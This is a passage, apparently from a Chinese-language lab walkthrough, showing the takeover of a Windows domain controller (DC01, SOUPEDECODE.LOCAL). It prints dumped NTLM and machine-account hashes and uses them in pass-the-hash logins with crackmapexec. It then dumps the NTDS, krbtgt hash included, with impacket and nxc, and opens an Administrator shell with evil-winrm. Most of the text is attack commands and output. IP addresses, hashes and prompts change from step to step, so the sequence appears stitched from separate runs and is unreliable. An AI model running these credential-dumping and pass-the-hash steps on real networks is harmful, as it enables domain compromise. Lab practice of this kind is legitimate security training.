0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Cleaning up...

可以拿到administrator的NTLM

Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::

尝试登录,失败

crackmapexec smb 192.168.56.126 -u administrator -H 209c6174da490caeb422f3fa5a7ae634
SMB 192.168.56.126 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 192.168.56.126 445 DC01 [-] SOUPEDECODE.LOCAL\\administrator:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE

现在还存在机器账户的hash $MACHINE.ACC

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:159de75b1e7662879be6482554b90e55

枚举看是哪台机子的哈希,得出来是DC01$

crackmapexec smb 192.168.56.126 -u username.txt -H 159de75b1e7662879be6482554b90e55
SMB 192.168.56.126 445 DC01 [+] SOUPEDECODE.LOCAL\\DC01$:159de75b1e7662879be6482554b90e55

得到是DC01$的hash后,再次进行secretsdump.py 获取Administrator的hash

┌──(kali㉿kali)-[~/temp/DC02]
└─$ impacket-secretsdump 'SOUPEDECODE.LOCAL/DC01$@192.168.10.107' -hashes 'aad3b435b51404eeaad3b435b51404ee:f57e704569f3ff005004963445e0438c' > log3
┌──(kali㉿kali)-[~/temp/DC02]
└─$ cat log3 | grep ":500:"
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nxc smb 192.168.205.146 -u 'DC01$' -H 'aa905227fd1b4142a01a09912606af5c' --ntds
[+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.205.146 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
SMB 192.168.205.146 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.205.146 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
SMB 192.168.205.146 445 DC01 soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::

利用凭证获取shell

┌──(root㉿kali)-[/home//Desktop/hmv/DC02/share]
└─# evil-winrm -i 172.16.55.130 -u 'administrator' -H '8982babd4da89d33210779a6c5b078bd'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../
*Evil-WinRM* PS C:\Users\Administrator> cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/12/2024 1:01 PM 33 root.txt
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
d41d8cd98f00b204e9800998ecf8427e
*Evil-WinRM* PS C:\Users\Administrator\desktop>